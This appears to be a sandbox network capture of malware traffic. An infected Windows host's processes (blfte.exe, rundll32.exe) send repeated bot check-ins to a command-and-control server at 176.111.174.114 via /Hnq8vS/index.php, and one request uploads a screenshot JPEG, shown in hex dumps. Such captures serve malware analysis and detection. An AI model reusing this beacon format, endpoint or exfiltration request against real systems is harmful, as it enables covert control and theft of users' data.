Apr 28, 2021 23:22:49.546698093 CEST	2290	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:49 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
166	192.168.2.5	49804	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:49.760165930 CEST	2291	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
167	176.111.174.114	80	192.168.2.5	49804	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:49.862448931 CEST	2291	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:49 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
168	192.168.2.5	49805	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:50.070811987 CEST	2292	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
169	176.111.174.114	80	192.168.2.5	49805	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:50.172569036 CEST	2293	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:50 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	176.111.174.114	80	192.168.2.5	49719	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:24.528614998 CEST	1571	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:24 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
170	192.168.2.5	49807	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:50.393526077 CEST	2294	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
171	176.111.174.114	80	192.168.2.5	49807	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:50.494272947 CEST	2297	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:50 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
172	192.168.2.5	49809	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:50.698858976 CEST	2298	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
173	176.111.174.114	80	192.168.2.5	49809	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:50.800661087 CEST	2299	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:50 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
174	192.168.2.5	49810	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:51.011379957 CEST	2301	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
175	176.111.174.114	80	192.168.2.5	49810	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:51.116410971 CEST	2302	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:51 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
176	192.168.2.5	49811	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:51.325784922 CEST	2302	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
177	176.111.174.114	80	192.168.2.5	49811	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:51.429867029 CEST	2303	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:51 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
178	192.168.2.5	49812	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:51.638061047 CEST	2303	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
179	192.168.2.5	49813	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:51.696666002 CEST	2317	OUT	POST //Hnq8vS/index.php?scr=up HTTP/1.1 Host: 176.111.174.114 User-Agent: Uploador Content-Type: multipart/form-data; boundary=152138533219.jpg Connection: Keep-Alive Content-Length: 185550 Data Raw: 2d 2d 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a ff c0 00 11 08 04 00 05 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 fc 50 8a 2f 2e 9f 52 fd 8f 77 5c d2 ec 35 fa 5c 69 9f 07 ce 47 1f 7a 75 7b 17 c1 af d8 53 f6 86 f8 d3 e1 3b 2f 89 1a 56 81 65 a2 f8 4f 50 9e 48 ad 3c 51 e2 2b f5 b7 b5 99 a3 72 92 18 91 43 4f 70 15 c1 56 30 c5 26 d2 08 38 22 bd df e1 ff 00 fc 13 93 e0 87 85 f6 5d 7c 4a f1 de b3 e2 bb c5 5c b5 9e 91 12 e9 b6 28 e0 f4 f3 1c 49 35 c4 67 d9 6d 9f e9 58 d5 c4 e1 e9 68 e5 af 91 ac 28 56 a8 ae 96 87 c5 29 f7 6a c2 7d da fd 19 bd fd 87 ff 00 63 8f 1a 78 7f ec 6f f0 5a 7f 0f c8 cd 95 d4 7c 2f e2 7b e5 b8 07 8c 03 f6 e9 2e a2 2b ea 3c b0 c7 b3 0a f2 1f 88 7f f0 49 df 12 c4 b2 5d fc 0b f8 c9 a4 eb a0 6e 31 e8 fe 27 87 fb 22 f1 cf 50 89 29 79 2d 58 01 c6 f9 26 87 24 7d d1 9e 2a 9e 3f 0f 3d f4 f5 26 b6 0e bc 76 57 f4 3e 45 a4 55 c6 45 76 df 16 7f 67 5f 8e 7f 01 ee a3 8b e2 ef c2 bd 6b 42 8a 79 0a 59 df de 59 37 d8 ef 08 19 fd c5 ca e6 19 c6 3b c6 ec 38 3c f1 5c 5b 6f ef 5d d1 94 65 0b a7 73 85 a9 45 d9 90 c7 1b d0 fd 3f 1a 96 9a f8 ee 29 72 15 cd 76 57 93 b5 44 e3 9f ad 4b 27 6a 6e dd dc 62 b1 94 4d e3 b9 4e 44 3e b5 1d 7e c7 f8 9b fe 0d 34 d5 7c 37 75 f6 7b ff 00 db 9f 74 2e d8 86 e5 3e 18 65 5f ff 00 2a 7c 1f 6f e6 39 aa d6 bf f0 6a 22 dc f5 fd bd f6 ff 00 dd 2d cf fe e5 2b f3 2a de 2b f0 05 29 b8 4f 19 66 bf e9 dd 6f fe 56 7d 64 38 4b 88 a5 1e 65 43 4f f1 43 ff 00 92 3f 1e a3 eb f8 54 be 53 fa 57 ec 8d b7 fc 1a 4e 2e 17 1f f0 f0 1d bc ff 00 d1 29 cf fe e5 6b f2 8b f6 87 f8 44 df b3 ff 00 ed 09 e3 df 80 8f af 8d 58 f8 27 c6 5a a6 80 75 51 6b e4 0b c3 67 77 2d bf 9d e5 ee 6f 2f 7f 97 bb 6e e6 db 9c 64 e3 35 ef 70 ff 00 19 70 df 13 d5 9d 3c b2 bf b4 94 12 6f dd 9c 6c 9e 9f 6a 31 fc 0f 3b 31 c9 73 3c ae 2a 58 aa 7c a9 e8 b5 8b fc 9b 38 a7 39 38 a1 36 7f 1d 39 d1 b3 9a 65 7d 49 e5 0e 65 fe e5 21 56 5e a2 92 9d bc d0 1b 11 f9 7e f4 2a f7 34 f7 eb 5f af bf f0 6e 6f fc 12 17 f6 1d ff 00 82 90 7e cd Data Ascii: --152138533219.jpgContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-streamJFIFCC"}!1AQa"q2#BR$3br%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzw!1AQaq"2B#3Rbr$4%&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?P/.Rw\5\iGzu{S;/VeOPH<Q+rCOpV0&8"]\|J\(I5gmXh(V)j}cxoZ\|/{.+<I]n1'"P)y-X&$}?=&vW>EUEvg_kByYY7;8<\[o]esE?)rvWDK'jnbMND>~4\|7u{t.>e_\|o9j"-++)OfoV}d8KeCOC?TSWN.)kDX'ZuQkgw-o/nd5pp<olj1;1s<X\|89869e}Ie!V^~4_no~>K-[R9t/w6_gcmA~r 9qXxJ^w<MNH~@C5\|\>;$62>x}<uw5oa?_r3#~?/Oz_W<Cu3V2m yXZW_x[[B$)! zLml[aj3\snV&L3y{NijJ@\|RKE6M%tTQO0hR(()`sKNm;Q!T_\iFE7UrNz6zQQ9 GN&XCTn3iKi}jDB{EP@QEQEP7J2Iw) ($ruNm"a:;bON6(sbUW3N.KKzuPN?N)6(~4'O\|:ED'g#X_I'jN5ET%6N-)<)R>fQEQS OWEfaE/~4QErk>MD\FEC'jmML{h,Q@I<O/4EvEQEih-G@%SR>>1Q@Q@()$J:NPfSloPtZ>a:TNw_-Y&3D8e]KJR~w?47aH'%ozF}KOp$a}#N&\|_7eV94kH`=A!G>6`IJWIVI'Y+98J4UscSLftN5?-Nr~b=m=SY q^Cd-6m#!dk0#=^wb)bBkip.7M(5t_~#[Z<"C/]7rXg5?_Q- xXg561F?W'UW/'c?>3zl+GUGYsh/m&N$A(4rO'Hrv?zd=[5.#7{EL'wsWeGkd+UsxN5.3[CO<n}h<OJ?2"OQ_2+/p1?[uCl~?QWTzY_g?j\|Ef#^-CQ&C.e8`?)Lo.mqx_$f\|(6,>hlfPAbf7/Q_}:}N,D&02Kf0YXI#zv[M<&>JZI4Yo:;O+oY6]X.YU7(.+6N5iSI\|Y--wm.rFk$O\|Z>\|IE"$mm{<T@ ~'<+QjnS~m\|::S,S$?7%~{QEOMe)HzV]M:ecGZJ(:+>@"\|'z{BG+0y~eJ?;}UF>}Ei"~KQR<\|~rseT(4%QPMiUK`!jjdGOOGR0(3(%QLQE((N:t}SN$ I:~4:~4NZu^aRq"AFTg{4l5+.eW(<N#!SN:E)L~=c(A~Xm(VJ_DTQEbhC'jm=~4Vm6NGE=<n(MW)\R&oTQtTTGE:N)N(((nUsj%1%(gwSOm@R8'-.FJuJRB'jGEZwOYE)'- ($BsRlQr'~4/TI\))SRN]J}TPqs3"AZxWW;#?gkk4rDV`+`%gO5\|xzw-STcPT4D9=q_\|.[x+rVTa GAZB\|-jj]iYBgTe"jB3VvSMm]Ofx>7mk&rm@(Io~#x"{8@xDDz\|\|\|W#rC8LUdJ-{evd>3(akVu6wd]$.:oF96Q3GdRJ?GO>y5Sy}GCw_A,_{R]MzeBFm5 f7Q>+Df'@wsCL::}+K.PW/#kg,NI>yCUw7v?a`zI_^z>&9GQ(]4'q9)>=3N~[.X>Q[&5E?gW&\|4nwg5BgeQ9Oor?Qo)\|^Rr8m7^Oj59+%(l_bSMqR<{8Cr9;TFeI3YJ&+WrbgUH6t'pHW+z3<}EZ]/9ch(vV,1"bBcN{g]^_6xic,>I??s!=$L5U_?jPi\|}SZ]XxU1k=woug?duxJ^ZlC2,t<e^pf$'.i:9?X:[vF+NY]D5~IKWO_MIo4mn~&u1<.gnix,WibS{<vNvyQ@GM3czT;P2?//Oz<z\|z8iDRQLoQ~5wq#':~v($tF-vV1!Ry~73ul4KLzmNfcN~)_#Ry($(QN_w>#KXhx/e%7}HDAZ6j"&9QE;co3.$-PD'Zu6>:>DNdMH?ZD)=V]K8O\|P?yA};!\|/)\heIR5~S>qQ4DO&NvXH;vYs2:MRl(2 OeI6'j'j$=HiEH)vDi67>P#'j0E<C.y.9'O(%GRhQEQEfEPQ`(S_:czRQ@)(t}S@Q@S-QEaEPEPEP$F'?ZOoCNu^4<sW[,r["jn_i+sm?Iu3{Fo>qo~\|Zy#z/>/rB) e8j,k.t/pY=gWa0xqJXsP!!mMi$OQO\|[/~;RxBd hc ,UX)<Vd}Z}>[Y'%YrTdyB#]tw}s1o}lC/Wuwe;VAniduOD;\|\|w_+)W[[I-i\[B\ocUK~Ow0uM";g\GHBMpk_b+M_WxlL{gZiwjp?5\|.O\|i]RkM"Y^Orwocv9am_-/?OvuK;&k"D{=ZY#$D5guCOO\|@\|7i/x]Ns.e.a-kwlzF?e^XRUEg+Wgm.v.r;n6M65{KC8<T4GG^/DXL7f!J8V_NNk;oOCz> &i4GDSM=5+iEz>n<w7^Cz&mm=,Ztiu!H"BFq4"VNm&PsItWi7k]5!Nh-7J}ugSTkbb<AJ\|5?t.O#mZ5s\|x@<]jZFZ.tmfE7(i,;VaS^^j\E998KWi-Y4OJ~?O?-[^}O^sx/nQCZX8ci{ElW9h>?gTsztf4dD 6.$6O4qM\d1Gd~3_(yCCMkr~1gjmr}+T&KY&D$nW="aU-'Om['NWKhnV0UIV"jSwJqnre?[J(i/z'Gu;gW'dF1,X 1Q~ gG}#Qa;X\Yyk$HE .ln>~\|js!\|3>}s7766$phTqZUm/VwaJQN/W\|C{i\|>x3kKxW C[8FicGRTl;4ow.\|9y[T]x%#G4t#XL<1d%yp$&vJM=ehE^KW'[FI-L/Tr?cO=_7/K=:Mh?e$VO"O=[KN/c?z!h&t2v#?7\|=-/:\|C=T4-Y-Qsa%4m:mipsi4woV,\yn-Ki+H(P}?J%Ly)R:V\|9Q%+.\|av_::3_Iz9CE}(\#Rq2y~p}NVIiipC2PiRNH>VTITgPW?r}z!}ZH>BcS@H\|P.d@Dh+n1GZQ#.Z-.IwzwGO_!yjH0BNyQEQNJPOkMI\|QJOO'Z}hQW2TRL:ruR?O~ wYS:X-<6AiKEwhHeSY<\dUV$vQ:#!rIZ6l+co%IHT2&sOi_StT?(S\|~@E{G%MloJBV<9s);SjT}_iN'ju5kq;S,R23BrsMhy~QEfEP?TaRR2@e"ENloJ67K5%GOoiy5W<}QEaEPEPEPEPEPV+Q3UL}x3-JE;op\EEm], I,WdVg4.0b_X7gM\-ZZ[G%Kk]?GjOfHw:a\|0{EY6ow.gu"[F#jP^O~Wvho?'\_\-KBT+SOD$$9$h c<K%k{7zidg17.d_eJn'')4NeiRro&kD6}o=\|}~?\x{#mL}6<WikcFPv>\|BLM{O}RUKv6Z$R(E>0B-TQA+\|EN\|vZi{eliU)%h+~~/^_x$k}>[u}2s[xQ3Uuwm\|xOWa >WU.":nbT(eJrbSQM!\|+"{FKm_i]'$OBQiSu?m$5/4dKqk4S^xNI\|S,)7Y^pAgTUT0E{X_R]]vK.$yeQWJw>IkH~(6/7FX\[v-gxyA6G5X[mmo%x^-o]2-=r7"IcL^(#.0&~>P-5[TuxBqRo({Oy]m}},~_W\|<1k<_j_&/-<{>6xNm'L5$2D&{Hgd(fHxj\|]\|ix::~iuEe$xW72JF0yK)@y1!o0wl_%K^e5nk7>_yY}6Uox3S~xh^h::ZJIn%G9kl/^3Z~z~i?fxBj_-5TuAi&FsyrmKX=M7c!;s6+LR,q AYQ=JP].=~~\Y"&nwN?i7[[?j/5u/n4OQmJ[ukxG!6%>kM+a?hZAWKh]EwG#3!FZ9>E6H!8+\|CN;{5h%(M/4w\|$qvY4_+@t39u]<V(R@@l\|Dww-G@CMk;mBZG1q2(TUB+!%#Vx5nfc~?c%\|s_\|H}IttN+R2Ibm'h^bva$4j-7>\B(lTGup;rY8!\|_B#s^NyQy;koK{>hy{Ev#2kCS3OjR,O@>5frZ Zpm0 jdOWxW:Pf4Hdn h"Vb[dn4tCPMi6I4>Vju#vTu4[k_Q~W/$gaKU2~v\|7ogB=[g\|)5.}G\h=kmMH4["8zbc5V":7zk'%guS}W^6nzu^};%u[^?Xj)M5g/m%+s<K!^'"`tOF'r-wd2Z
Apr 28, 2021 23:22:51.797158957 CEST	2320	OUT	Data Raw: 93 b5 68 02 27 de a7 d1 1f 41 f5 a9 28 26 5b 8d 8f bd 3a 8a 2b 42 48 e8 a9 28 a0 08 e9 53 ef 53 e9 7f 87 ee 2d 00 31 a3 e3 ee 51 b0 d3 a9 53 ef 55 72 b1 73 09 45 22 b6 78 35 a9 e0 9b 1b 1d 57 c6 da 36 93 a9 c1 e6 db 5d ea d6 d0 5c 47 b8 8d c8 f2 Data Ascii: h'A(&[:+BH(SS-1QSUrsE"x5W6]\G zs\aZ[E6vaGI*{^M%{&w2wRy~Z~M:\|>?1O>_._U7<;9QI=\|
Apr 28, 2021 23:22:51.797238111 CEST	2322	OUT	Data Raw: 22 bf 9f ff 00 1c 7c 6e f8 d1 f1 39 9d fe 25 7c 5d f1 47 88 5a 42 4c 87 5c d7 ee 6e cb 1c e7 27 cd 76 cf 3c d7 f4 1b e3 6d 0b c6 33 78 cb 57 96 d7 fe 09 a3 e1 2d 7a 26 d4 ee 0c 7a e5 ce bd a3 a4 9a 8a 99 1b 17 2e b2 42 5d 5a 41 f3 90 c4 b0 2d c9 Data Ascii: "\|n9%\|]GZBL\n'v<m3xW-z&z.B]ZA-\|opz4sln^_7{8lro{7}ZgfkrOL{Ye@0p.@xoc~Q_BCZkuqc=q=vg`mmO
Apr 28, 2021 23:22:51.797291994 CEST	2325	OUT	Data Raw: 50 d2 b4 db 58 fc 03 a3 3d 85 84 9a 7f 9b ba f1 9d 61 59 2e 26 de ec 0c 8c 20 4c ed 00 75 e2 bf 7b 7c 49 ff 00 0d d9 ff 00 09 15 ff 00 fc 22 1f f0 a9 7f b2 7e db 2f f6 5f f6 97 f6 a7 da 3e cf bc f9 7e 6e cf 97 cc d9 b7 76 de 33 9c 71 5f 1f c5 98 Data Ascii: PX=aY.& Lu{\|I"~/_>~nv3q_N/CF9[K%HLG*?PK&olOdHGj__wwOou}>]cjNq{B)<XbTX1j"o^_d_nfy[
Apr 28, 2021 23:22:51.797452927 CEST	2328	OUT	Data Raw: a7 dd cb 04 c9 f7 25 86 42 ac bc 63 82 39 1c 57 e8 df fc 10 d3 f6 8d ff 00 82 5e 78 43 4a f8 ab a5 7f c1 5a 7c 62 b2 c7 7d fd 88 3c 04 da ae 9d ad 5f 48 a1 7f b4 3e dd e5 c9 a7 46 ef 0f df b4 ce f2 bb b0 bb 73 b4 e3 f3 ec fc 30 f8 9a 3c 19 ff 00 Data Ascii: %Bc9W^xCJZ\|b}<_H>Fs0<7\|/"Kmck'[vFc ~PoY\|/]CPi&~EQ0]/CJ\'jN5}6~xjGY@_Isis9
Apr 28, 2021 23:22:51.797570944 CEST	2331	OUT	Data Raw: 38 ad 37 b5 dd ee ad e6 35 f4 97 fc 12 2f 48 7f 10 7e df 3e 1d f0 fa 78 4f 57 d7 be dd e0 8f 1b 5b 9d 0f c3 f2 6c bf d4 77 f8 53 56 5f b3 db 37 95 36 d9 a4 ce c4 3e 54 98 66 1f 23 fd d3 f3 70 91 65 45 91 3a 1e 45 43 79 65 6f 7d 17 95 72 99 5a f5 Data Ascii: 875/H~>xOW[lwSV_76>Tf#peE:ECyeo}rZt'V%WVFo~oe_,<om\|7[/Ge~[Qm#{kFh";vKc3H~x_\|Il<cu'A'MZ;o~p
